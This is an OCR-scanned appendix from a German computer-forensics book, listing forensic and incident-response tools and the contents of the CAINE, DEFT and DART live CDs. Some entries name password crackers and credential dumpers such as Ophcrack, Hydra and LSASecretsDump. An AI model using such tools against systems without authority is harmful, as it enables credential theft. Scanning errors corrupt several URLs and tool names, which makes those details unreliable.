Allgemein kann gesagt werden: Besteht iiber das gesamte Verfah-
ren und die einzuleitenden juristischen Schritte Unklarheit, hat man
immer die Moglichkeit, sich unverbindlich mit einem Kommissariat
fir Computerkriminalitidt im Vorfeld eines Sicherheitsvorfalls in Ver-
bindung zu setzen und sich dort tiber die Moglichkeiten beraten zu las-
sen. Dies kann vorsorglich ohne einen aktuellen Anlass geschehen.
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A Tool-Uberblick

In der folgenden Ubersicht, die sich immer in der aktuellen Version
auch auf der Website zum Buch computer-forensik.org findet, werden
die in diesem Buch vorgestellten Werkzeuge nochmals zusammenge-
fasst dargestellt!. Eine Ubersicht iiber alle derzeit 6ffentlich verfiig-
baren Linux-Live-CDs findet sich unter
hitp:/lwww.forensicswiki.org/wiki/Tools#Forensics_Live_CDs.

2

Name Grobfunktion Laufféhig Lizenz URL
unter
AccessData Erstellen und Windows K,D www.accessdata.com
FTK Auswerten von
Datentrager-Images,
Extraktion von Daten
Adepto Erstellen von Daten- Linux F www.e-fense.com/helix/
trager-Images
Autopsy Auswerten von Daten- | Unix, cygwin F,Q www.sleuthkit.org/autopsy/
Forensic tradger-Images, Extrak-
Browser tion von Daten
C.A.LLN.E. Live-CD mit vielen Boot-CD F,Q caine-live.net
Forensik- und Incident- | (Linux),
Response-Werkzeu- Windows-
gen Partition
Captain Auslesen diverser Windows K,D www.runtime.org
Nemo Dateisysteme
Chkrootkit Suche nach Spuren Unix F,Q www.chkrootkit.org
von gebrauchlichen
Rootkits

1. Anderungen an URL, Quelltextverfiigbarkeit oder Lizenzbestimmungen durch die
Hersteller vorbehalten.
2. K =kommerziell F=frei verfugbar D = Demo- bzw. Trialversion verfigbar,
Q = Quellcode einsehbar
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Name Grobfunktion Lauffahig Lizenz? URL
unter
Cryptcat Um Verschlusselung Unix, Windows | F, Q sourceforge.net/projects/cryptcat/
erganzte Version von
Netcat
Cygwin Arbeitsumgebung Windows F,Q www.cygwin.com
fur die Ubersetzung
und Verwendung von
Unix-like Tools
dcfldd Erweitertes dd Unix F,Q sourceforge.net/projects/dcfldd/
dd Erstellung von Unix, Windows | F, Q users.erols.com/gmgarner/forensics/
Datentrager-Images
DEFT Live-CD mit vielen Boot-CD F,Q www.deftlinux.net
Forensik- und Incident- | (Linux),
Response-Werkzeu- Windows-
gen Partition
Disk Analyse von Daten- Windows K, D www.theabsolute.net/sware/dskinv.html
Investigator tragern
EnCase Erstellung und Aus- Windows K, D www.guidancesoftware.com
werten von Datentra-
ger-Images, Extrak-
tion von Daten
Evidor Suche nach Zeichen- | Windows K www.Xx-ways.net/evidor/
ketten auf Datentra-
gern
Explore2fs Schnelles Einsehen Windows D uranus.it.swin.edu.au/~jn/linux/
von ext2-Partitionen
Ext2fs Treiber fur den lesen- | Windows F www.fs-driver.org
den und schreibenden
Zugriff auf xt2/3-Datei-
systeme
F.I.R.E. Sammlung von Secu- | Boot-CD F,Q sourceforge.net/projects/biatchux/
rity- und Forensik- (Linux),
Tools, vorkompilierte Windows-
Binaries fur Solaris, partition
Linux und Windows
F.R.E.D. Batchfile zum Sam- Windows F,Q lokale Kopie
meln von fliichtigen
Informationen
Fatback Analyse von Unix F,Q prdownloads.sourceforge.net/projects/
FAT-Dateisystemen fatback
FileDisk Mounten von Daten- Windows F,Q www.acc.umu.se/~bosse/

trager-Images als Win-
dows-Laufwerk
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Name Grobfunktion Lauffahig Lizenz? URL
unter
Filemon, Reg-| Analyse von Registry- | Windows F www.sysinternals.com
mon und Dateisystem-
zugriffen von Applika-
tionen
foremost Wiederherstellung Unix F,Q foremost.sourceforge.net
unterschiedlicher
Dateiformate von
Datentrager-Images
Forensic Leistungsfahige Windows F,Q users.erols.com/gmgarner/forensics/
Acquisition Sammlung zum
Utilities Erstellen von Daten-
trager-lmages
Foundstone Sammlung von Windows F www.foundstone.com
Forensic Werkzeugen fir die
ToolKit Analyse von Dateien
FPort Anzeige, welche Windows F www.foundstone.com
Applikationen Ports
gedffnet haben
Guymager Erstellen von Daten- Linux F,Q guymager.sourceforge.net
trager-lmages
Helix Incident-Response- Boot-CD F www.e-fense.com/helix/
und Forensics-CD; (Linux),
Hybrid-CD auf Knoppix | Windows
basierend mit partition
separater Windows-
Umgebung
iehist Internet History Viewer | Windows F,Q www.cqure.net/tools.jsp?id=13
ImDisk Virtual | Festplatten-Images Windows F,Q www.ltr-data.se/opencode.html/#ImDisk
Disk Driver und Hauptsepicher- NT/2000/XP/
kopien lassen sich als | 2003/Vista/
Laufwerk einbinden. 2008
iPhone- Auslesen und Analyse | Java F sourceforge.net/projects/
Analyze von iPhone-Backup- iphoneanalyzer/
dateien
IRCR Sammeln von Windows F ircr.tripod.com
flichtigen Daten
kern.pl Identifiziert das Windows F,Q sourceforge.net/project/showfiles.php?

Betriebssystem eines
Windows-Speicher-
abbilds, Bestandteil
des OS Detection
Package

group_id=164158&package_id=203
967



http://guymager.sourceforge.net/
http://sourceforge.net/projects/iphoneanalyzer/
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Knoppix STD | Um Security- und Boot-CD F,Q www.s-t-d.org
Forensik-Tools (Linux)
erweiterte Knoppix-
Distribution
KnTTools Damit kann der Haupt- | Windows K www.gmgsystemsinc.com/knttools/
speicher von XP64,
Windows2003 SP1
und Vista ausgelesen
werden.
Live View Erzeugt aus Windows F.Q liveview.sourceforge.net
DD-Images lauffahige
VMware-Konfigura-
tionen
LiveKd Erzeugt Windows- Windows F technet.microsoft.com/de-de/
Crashdumps, die sich sysinternals/bb897415(en-us).aspx
dann forensisch analy-
sieren lassen
Md5deep Reku_ysives Erstellen Unix, Windows | F, Q md5deep.sourceforge.net
und Uberprifen von
MD5-Prifsummen
Metadata Analyse von Daten- Windows K, D www.payneconsulting.com
Assistant spuren in MS-Office-
Dokumenten
Mount Image | Mounten von DD- und | Windows K,D www.mountimagepro.com
Pro EnCase-Images als
Laufwerksbuchstabe
mp (Memory | Grafisches Frontend Windows F,Q www.trapkit.de
Parser) fur die Analyse von mit
pd erstellten Speicher-
auszligen
Netcat FIexiQIes Werkzeug Unix, Windows | F, Q netcat.sourceforge.net
zum Ubertragen von
Daten in einem Netz-
werk
NotMyFault Erstelllung von Spei- Windows F,Q lokale Kopie
cherabbildern
Ntreg Mounten einer Win- Unix F,Q www.bindview.com
dows-Registry
als Filesystem
Oxygen Sicherungund Analyse | Windows K, D www.oxygensoftware.com/de/products/
Forensics von Mobiltelefonen forensic/
Suite
packetyzer Erstellung und Analyse | Windows F,Q www.paglo.com/opensource/packetyzer
des Netzwerkverkehrs
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Grobfunktion

Lauffahig
unter

Lizenz?

URL

Palmdecrypt

Analyse von Palm-
PDA-Passwortern

Windows

www.atstake.com/research/

Paraben's
E-Mail
Examiner

Analyse von Mailbox-
dateien verschie-
denster Mail-Clients

Windows

K, D

www.paraben-forensics.com/
examiner.html

Paraben's
SIM Seizure
Paraben's
Cell Seizure

Auslesen und Analyse
von PDAs, Mobiltelefo-
nen und SIM-Karten

Windows

K, D

www.paraben-forensics.com/

pd (Process
Dumper)

Erstellung von Spei-
cherauszligen

Windows, Linux

F,Q

www.trapkit.de

Pdd

Auslesen von Speiche-
rinformationen von
Palm PDA

Windows

www.atstake.com/research/
lokale Kopie

PEID

Identifikation von Pa-
cker- und Compilerin-
formationen von
Windows Executables

Windows

peid.has.it

pmodump

Rekonstruiert virtuellen
Speicher durch die
Analyse eines Win-
dows-Speicherabbilds

Windows

F,Q

www.lurhg.com/truman/

poolfinder

PoolFinder durchsucht
ein Windows-
Speicherabbild oder
eine Auslagerungs-
datei sequentiell und
identifiziert dabei Pool-
Allocations.

Windows

F,Q

computer.forensikblog.de/files/poolfinder/
poolfinder-current.zip

Psutils

Sammlung von Werk-
zeugen fur die Ana-
lyse von laufen den
Prozessen

Windows

www.sysinternals.com

ptfinder

Identifikation von
_EPROCESS- und
_ETHREAD-
Strukturen in Win-
dows-Speicher-
abbildern.

Windows

F,Q

computer.forensikblog.de/files/ptfinder/
ptfinder-collection-current.zip

PTfinderFE

Grafisches Frontend
fur ptfinder; benétigt
graphviz-2.8.exe und
-ActivePerl-5.8.8.817-
MSWin32-x86-
257965.msi

Windows

www.forensiczone.com/ram/ptfinderfe/
PTFinderFE.htm
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rifiuti Analyse von Dateien | Windows F,Q www.foundstone.com/resources/
im Windows-Papier- freetools.htm
korb
SectorSpy Analyse von Windows F home.carolina.rr.com/lexunfreeware
Festplatteninhalten lokale Kopie
Shadow- Analyse der auf einem | Windows F www.shadowexplorer.com
Explorer laufenden System vor-
handenen Volumen-
Schattenkopien
streak Erstellung und Netz- Boot-Floppy F www.fox-it.com/streak/
Ubertagung von Daten-| (OpenBSD) lokale Kopie
tradger-Images
tepflow ermdglicht das Analy- | Linux, Solaris, | F, Q www.circlemud.org/~jelson/software/
sieren und Protokollie- | BSD, u.a. tepflow/
ren von TCP-Verbin-
dungen
The Sammlung von Werk- | Unix F,Q www.porcupine.org/forensics/tct.html
Coroner's zeugen zum Analysie-
Toolkit (TCT) | ren von Datentrager-
& TCTULtils Images
The Machtige Sammlung Unix F,Q www.sleuthkit.org/sleuthkit/
Sleuthkit von Werkzeugen zum
Analysieren von
Datentréger-Images
TULP2G Sicherung von Daten | Windows F,Q tulp2g.sourceforge.net
mobiler Gerate
USBDeview | Analyse der Spuren, Windows F www.nirsoft.net/utils/usb_devices_view.
die USB-Gerate in der html
Registry hinterlassen
haben
UserAssist Analysiert die User Windows F blog.didierstevens.com/programs/
Assist Keys eines userassist/
Windows-Users
WindowsFile- | Analyse von Prefetch- | Windows F www.mitec.cz/wfa.html
Analyzer und LNK-Dateien
Windows Sammlung von Werk- | Windows K, D www.foolmoon.net/security/wft/
Forensic zeugen zur Sammlung
Toolchest und Analyse von fliich-
(WFT) tigen Windows-Daten
WinPrefetch- | Analyse von Prefetch- | Windows F nirsoft.net

View

Dateien



http://www.shadowexplorer.com/
http://www.nirsoft.net/utils/usb_devices_view.html
http://blog.didierstevens.com/programs/userassist/
http://www.mitec.cz/wfa.html
http://nirsoft.net
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Wireshark Erstellung und Analyse | Windows, F,Q www.wireshark.org

des Netzwerkverkehrs | Linux, Solaris,

u.a.

X-Ways Hex-Editor, zusatzlich | Windows K,D www.x-ways.net/forensics/index-d.html
Forensics umfangreiche foren-

sische Analyse von

Datentrdgern méglich
X-Ways Trace | Analyse von Windows K,D www.Xx-ways.net/trace/index-d.html

Gebrauchsspuren auf

Windows-Systemen
XRY Sicherungund Analyse | Windows K, D www.msab.com

von mobilen End-

geraten

Forensik-CD aus iX 07/2007 bzw. Forensik-DVD aus iX special 10/2008

Name Grobfunktion URL
Linux Incident sammelt flichtige Daten unter Linux computer-forensik.org/tools/ix/
Response Toolkit (2.4 er und 2.6er Kernel) und gibt den Haupt-
speicher strukturiert aus
ForensiX-CD Hilfe bei Systemeinbriichen computer-forensik.org/tools/ix/
Forensik-DVD Linux-basierte Systeme zum Testen computer-forensik.org/tools/ix/
und/oder Lernen: Avira Rescue, Backtrack 3, ix-special/
DAVIX, Damn Vulnerable Linux, Recovery Is
Possible

Auf der Webseite computer-forensik.org/bilfsmittel/ befindet sich eine
Liste forensisch relevanter Registry-Eintrage.
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Hier finden Sie die Forensik-Werkzeuge, die auf der Live-CD C.A.LN.E.
seit der Version 2.0 enthalten sind. Aktuelle Informationen finden sich
auch unter htip:/lwww.caine-live.net/pagel1/pagel1.himl.

AIR 2.0.0 Stands for Automated Image and Restore

AIR is a GUI front-end to dd and dc3dd designed for easily creating
forensic bit images. Double hash.

Abiword AbiWord is a free word processing program similar to Microsoft

Word. It is suitable for a wide variety of word processing tasks.

Autopsy The Autopsy Forensic Browser is a graphical interface to the com-

Afflib

mand line digital investigation analysis tools in The Sleuth Kit.
Together, they can analyze Windows and UNIX disks and file systems
(NTEFS, FAT, UFS1/2, ext2/3).

Conduct File Listing, View File Content, Compatre files in user crea-
ted or downloaded Hash Databases, File Type Sorting by internal sig-
natures, Create a Timeline of File Activity, conduct Keyword Searches,
File System Meta Data Analysis, Data Unit (File Content) Analysis in
multiple formats, File System Image Details: Case Management of one
or more host computers, Event Sequencer allows you to add time-
based events from other systems (ie firewall/ids logs), Notes about case,
Image Integrity verification, Report Creation, Audit Logging of investi-
gation.

The Advanced Forensics Format (AFF) is an extensible open format for
the storage of disk images and related forensic metadata. AFF is an
open and extensible file format to store disk images and associated
metadata. Using AFF, the user is not locked into a proprietary format
that may limit how he or she may analyze it. An open standard enables
investigators to quickly and efficiently use their preferred tools to solve
crimes, gather intelligence, and resolve security incidents.

AtomicParsley AtomicParsley is a lightweight command line program for rea-

ding, parsing and setting metadata into MPEG-4 files.
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bkhive bkhive is a tool to extract the Windows System-key that is used to enc-
rypt the hashes of the userpasswords.

Bytelnvestigator A suite of bash scripts by Tony Rodriguez
Bulk Extractor Bulk Email and URL extraction tool

Cryptcat Cryptcat is a simple Unix utility which reads and writes data across
network connections, using TCP or UDP protocol while encrypting the
data being transmitted. It is designed to be a reliable »back-end « tool
that can be used directly or easily driven by other programs and scripts.

Chntpw This is a utility to (re)set the password of any user that has a valid
(local) account on your Windows NT/2k/XP/Vista etc system. There is
also a registry editor and other registry utilities that works under
linux/unix, and can be used for other things than password editing.

Disk Utility Disk manager

DMIDecode DMIDecode reports information about your system's hardware
as described in your system BIOS according to the SMBIOS/DMI stan-
dard.

dos2unix dos2unix - DOS/MAC to UNIX text file format converter

ddrescue ddrescue is a data recovery tool. It copies data from one file or block
device (hard disc, cdrom, etc) to another, trying hard to rescue data in
case of read errors.

dcfldd dcfldd is an enhanced version of GNU dd with features useful for
forensics and security. dcfldd can hash the input data as it is being
transferred, helping to ensure data integrity, verify that a target drive is
a bit-for-bit match of the specified input file or pattern, output to mul-
tiple files or disks at the same time, split output to multiple files with
more configurability than the split command, send all its log data and
output to commands as well as files natively.

dc3dd dc3dd is a patched version of GNU dd to include a number of features
useful for computer forensics. Many of these features were inspired by
dcfldd, but were rewritten for dc3dd.

dc3dd can write a single hexadecimal value or a text string to the

output device for wiping purposes. Piecewise and overall hashing with
multiple algorithms and variable size windows. Supports MD35, SHA-
1, SHA-256, and SHA-512. Hashes can be computed before or after
conversions are made. Progress meter with automatic input/output file
size probing. Combined log for hashes and errors. Error grouping. Pro-
duces one error message for identical sequential errors. Verify mode.
Able to repeat any transformations done to the input file and compare
it to an output. Ability to split the output into chunks with numerical
or alphabetic extensions.
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dvdisaster dvdisaster stores data on CD/DVD/BD (supported media) in a way
that it is fully recoverable even after some read errors have developed.
This enables you to rescue the complete data to a new medium.

Exif The Exchangeable image file format (Exif) is an image file format
which adds or reveals lots of metadata to or from existing image for-
mats, mainly JPEG.

Foremost Foremost is a console program to recover files based on their hea-
ders, footers, and internal data structures. Foremost can work on
image files, such as those generated by dd, Safeback, EnCase, etc, or
directly on a drive.

Firefox Web Browser
FiWalk File and Inode Walk Program

Fundl 2.0 This is a selective deleted file retriever with HTML reporting. It is
TSK based.

FKLook This script can be used to search for a keyword in many files and it
copies only the files that have a matching keyword to a separate direc-
tory of your choosing.

FOD FOD stands for Foremost output divide. This is a script for splitting
foremost output directories contents into subdirectories with a defined
number of files for each type of format file.

Fatback A program for recovering files from FAT file systems.
GCalcTool sgcalctoolc is the desktop calculator.
Geany Geany is a text editor.

GParted The GParted application is a partition editor for creating, reorgani-
zing, and deleting disk partitions.

gtk-recordMyDesktop recordMyDesktop is a desktop session recorder that
attempts to be easy to use, yet also effective at it's primary task.

Galleta Galleta is an Internet Explorer Cookie Forensic Analysis Tool. Galleta
was developed to examine the contents of the cookie files. Galleta will
parse the information in a Cookie file and output the results in a field
delimited manner so that it may be imported into your favorite
spreadsheet program.

GtkHash A GTK+ utility for computing message digests or checksums using
the mhash library. Currently supported hash functions include MD3,
SHA-1, SHA-256, SHA-512, RIPEMD, Haval, Tiger and Whirlpool.

guymager guymager is a forensic imager for media acquisition.
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HDSentinel Monitoring hard disk health and temperature. Test and repair
HDD problems and predict failures. Prevent data loss by automatic
and scheduled backup.

Hex Editor (GHex) GHex is a hex editor for GNOME and allows the user to
load data from any file, view and edit it in either hex or ascii.

hfsutils HFS is the »Hierarchical File System«, the native volume format used
on modern Macintosh computers. hfsutils is the name of a comprehen-
sive software package being developed to permit manipulation of HFS
volumes from UNIX and other systems.

LRRP LRRP is a bash script for gathering information on the devices you
need to acquire for making a forensic image file.

Libewf Libewf is a library for support of the Expert Witness Compression
Format (EWF), it support both the SMART format (EWF-S01) and the
EnCase format (EWF-EO1). Libewf allows you to read and write media
information within the EWF files.

Lnk-parse This is a perl script for parsing the *.Ink files.
Ink.sh Analysis of Windows LNK files

log2timeline log2timeline, a framework for automatic creation of a super
timeline. The main purpose is to provide a single tool to parse various
log files and artifacts found on suspect systems (and supporting sys-
tems, such as network equipment) and produce a timeline that can be
analysed by forensic investigators/analysts.

liveusb
mork.pl This is a perl script for reading firefox history data.
MC  The Midnight Commander useful for text only boot.

md5deep mdSdeep is a cross-platform set of programs to compute MDS3,
SHA-1, SHA-256, Tiger, or Whirlpool message digests on an arbitrary
number of files. mdS5deep is able to recursive examine an entire direc-
tory tree. mdSdeep can accept a list of known hashes and compare
them to a set of input files and more.

mdSsum mdSsum computes and checks MDS5 message digests.
Mount Manager A GUI mount manager
Nautilus Scripts Live Preview Nautilus scripts ... they do many things.

NTFS-3G NTFS-3G is a stable read/write NTFS driver for Linux, Mac OS X,
FreeBSD, NetBSD, OpenSolaris, QNX, Haiku, and other operating
systems. It provides safe and fast handling of the Windows XP, Win-
dows Server 2003, Windows 2000, Windows Vista, Windows Server
2008 and Windows 7 file systems.
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Offset_Brute_Force This shell script will brute force the partition offset loo-
king for a hidden partition and try to mount it.

Ophcrack Ophcrack is a free Windows password cracker based on rainbow
tables.

Pasco Pasco is an Internet Explorer activity forensic analysis tool. Pasco was
developed to examine the contents of Internet Explorer's cache files.
Pasco will parse the information in an index.dat file and output the
results in a field delimited manner so that it may be imported into your
favorite spreadsheet program.

PhotoRec PhotoRec recovers files from the unallocated space using file type-
specific header and footer values.

Read_open_xml Read MS Office metadata

RegLookup Reglookup is an small command line utility for reading and que-
rying Windows NT-based registries. Currently the program allows one
to read an entire registry and output it in a (mostly) standardized, quo-
ted format. It also provides features for filtering of results based on
registry path and data type.

Rifiuti Rifiuti is a Recycle Bin Forensic Analysis Tool. Rifiuti was developed
to examine the contents of the INFO2 file in the Recycle Bin. Rifiuti
will parse the information in an INFO2 file and output the results in a
field delimited manner so that it may be imported into your favorite
spreadsheet program.

rifiuti2 As its name indicates, rifiuti2 is a rewrite of rifiuti. rifiuti (last updated
2004) is restricted to English version of Windows (fail to analyze any
non-latin character), thus this rewrite. It also supports Windows file
names in any languages, supports Vista and Windows 2008
»$Recycle.Bin« (no more uses INFO2 file), enables localization (that
is, translatable) by using glib, more rigorous error checking, supports
output in XML format.

readpst readpst converts PST (MS Outlook Personal Folders) files to mbox
and other formats.

Scalpel Scalpel is a fast file carver that reads a database of header and footer
definitions and extracts matching files from a set of image files or raw
device files. Scalpel is filesystem-independent and will carve files from
FATx, NTFS, ext2/3, or raw partitions.

SQLJuicer Perl script — tool that lists database CRUD transactions, parsing
SQL Server Transactions log entities.

SFDumper 2.2 SFDumper is a selective file retriever, it works on active, dele-
ted and carved files. It can do a keyword search among the files retrie-

ved. It is TSK based.
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ssdeep ssdeep is a program for computing context triggered piecewise hashes
(CTPH). Also called fuzzy hashes.

Stegbreak Tool for extracting steganographic content in images.
Storage Device Manager Another GUI mount manager

Smartmontools The smartmontools package contains two utility programs
(smartctl and smartd) to control and monitor storage systems using the
Self-Monitoring, Analysis and Reporting Technology System (SMART)
built into most modern ATA and SCSI harddisks. In many cases, these
utilities will provide advanced warning of disk degradation and failure.

Smartmontools... automatically reports and highlights any anoma-
lies; allows enabling/disabling SMART; allows enabling/disabling
Automatic Offline Data Collection — a short self-check that the drive
will perform automatically every four hours with no impact on perfor-
mance; supports configuration of global and per-drive options for
smartctl; performs SMART self-tests; displays drive identity informa-
tion, capabilities, attributes, and self-test/error logs; can read in
smartctl output from a saved file, interpreting it as a read-only virtual
device; works on most smartctl-supported operating systems; has
extensive help information.

sha256sum sha256sum — compute and check SHA-256 message digest

Steghide Steghide is a steganography program that is able to embed or extract
data in various kinds of image- and audio-files.

shred shred — delete a file securely, first overwriting it to hide its contents
sha512sum sha512sum — compute and check SHA-512 message digest

TestDisk TestDisk was primarily designed to help recover lost data storage
partitions and/or make non-booting disks bootable again when these
symptoms are caused by faulty software, certain types of viruses or
human error (such as accidentally erasing a partition table).

TheSleuthKit The Sleuth Kit (TSK) is a collection of UNIX-based command
line tools that allow you to investigate a computer. Autopsy is a front-
end for TSK which allows browser-based access to the TSK tools.

tigerdeep tigerdeep — Computer Tiger message digests

tableau-parm tableau-parm is an small commandline utility designed to inter-
act with Tableau forensic write blockers. It performs functions similar
to the Tableau Disk Monitor, except that it operates under select UNIX
platforms.
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tkdiff tkdiff is a graphical front end to the diff program. It provides a side-by-
side view of the differences between two files, along with several inno-
vative features such as diff bookmarks and a graphical map of differen-
ces for quick navigation.

Userassist This is a perl script offline parser for the »UserAssist« registry key.

VLC VLC media player is a highly portable multimedia player and multime-
dia framework capable of reading most audio and video formats
(MPEG-2, MPEG-4, H.264, DivX, MPEG-1, mp3, ogg, aac ...) as well
as DVDs, Audio CDs VCDs, and various streaming protocols.

Wicd Wicd is an open source wired and wireless network manager for Linux
which aims to provide a simple interface to connect to networks with a
wide variety of settings.

Whirlpooldeep Compute Whirlpool message digests
Wipe Wipe is a secure file wiping utility.

xhfs  xhfs presents a graphical front-end for browsing and copying files on
HFS-formatted volumes.

xdeview xdeview is a smart decoder for attachments that you have received in
encoded form via electronic mail or from the usenet.

xsteg GUI stegdetect interface

In Version 3 und 4 sind folgende Werkzeuge hinzugekommen:

LibreOffice 4.0.1
Sqliteman

Sdparm

Remote Filesystem Mounter
netdiscover
iphonebackupanalyzer
exiftool phil harvey
tepflow

tshark

john

wireshark

firefox

vinetto

mdbtool

gdisk

LvM2

tcpdump

Mobius
QuickHash
SQLiteBrowser
FRED
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docanalyzer
nerohistanalyzer
knowmetanalyzer
PEFrame
grokEVT

zenmap (nmap)
blackberry tools
IDevice tools
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Forensik-Werkzeuge, die auf der Live-CD DEFT und DART enthalten
sind. Aktuelle Informationen hierzu finden sich auch unter
hitp:/lwww.deftlinux.net/.

Libewf 20100226

Afflib 3.6.14

TSK 3.2.3

Autopsy 2.24

Digital Forensic Framework 1.2
PTK Forensic 1.0.5 DEFT edition
Pyflag

Maltego CE

KeepNote 0.7.6

Mobius Forensic

Xplico 0.7.1

Scalpel 2

Hunchbackeed Foremost 0.6
Findwild 1.3

Bulk Extractor 1.1

Dropbox Reader

Emule Forensic 1.0

Guymager 0.6.3-1

Dhash 2

Cyclone wizard acquire tool
Ipddump

Iphone Analyzer

Iphone backup analyzer

SQLite Database Browser 2.0b1
BitPim 1.0.7

Bbwhatsapp database converter
Reggripper

Creepy 0.1.9
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Hydra 7.1
Log2timeline 0.60
Wine 1.3.28

DART packet list:
7zip
Advanced Password Recovery
AviScreen
BlackBag IOReg Info
BlackBag PMAP Info
CamStudio
ClamWin
ConTools
Database Browser
dcfldd (per Windows)
DeepBurner
DiskDigger
Don’t Sleep
DriveMan
EMFSpoolViewer
Emule MET viewer
Eraser Portable
f3e
FastStone Viewer
FATwalker
FAU x64
FAU x86
FileAlyzer 2
FileInfo
fmem
FSV Thumbs Extractor
FTK Imager
FTK Imager CLI (Win, Linux, Mac)
GMER
Gsplit
Harvester
HDDRawCopy
Historian
HWiNFO
HWiNFO32 e HWiNFO64
HxD
ICESword
index.dat Analyzer
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IrfanView (con plugin)

JAD EDD

JAD Facebook JPG Finder
Jam-Software Treesize
Jam-Software UltraSearch
JPEGsnoop

LAN Search Pro 32/64

Lime Juicer

LimeWire Library Parser v4 e v5
Lnkexaminer

Itfviewer

Mail-Cure for Outlook Express
Mandiant Audit Viewer
Mandiant Memoryze

Mandiant RestorePointAnalyzer
Mandiant Web Historian
mdSdeep for Windows
mdSsummer

MDD

MediaPlayerClassic (x86/x64)
Mitec Mail Viewer

MiTec Structured Storage Viewer
Mitec Windows File Analyzer
Mitec Windows Registry Rescue
NetSetMan

Nigilant32

Nirsoft Access PassView

Nirsoft AlternateStreamView
Nirsoft Asterisk Logger

Nirsoft AsterWin

Nirsoft AsterWin IE

Nirsoft Bluetooth Viewer
Nirsoft BulletsPassView x86 e x64
Nirsoft ChromeCacheView
Nirsoft ChromeCookiesView
Nirsoft ChromeHistoryView
Nirsoft ChromePass

Nirsoft CurrPorts x86 e x64
Nirsoft CurrProcess

Nirsoft Dialupass

Nirsoft Enterprise Manager PassView
Nirsoft FirefoxDownloadsView
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Nirsoft FlashCookiesView

Nirsoft FoldersReport

Nirsoft HashMyFiles

Nirsoft IE Cache View

Nirsoft IE Cookies View

Nirsoft IE History View

Nirsoft IE PassView

Nirsoft InsideClipboard

Nirsoft LiveContactsView

Nirsoft LSASecretsDump x86 e x64
Nirsoft LSASecretsView x86 e x64
Nirsoft Mail PassView

Nirsoft MessenPass

Nirsoft Mozilla Cache View

Nirsoft Mozilla Cookies View
Nirsoft Mozilla History View
Nirsoft MUICacheView
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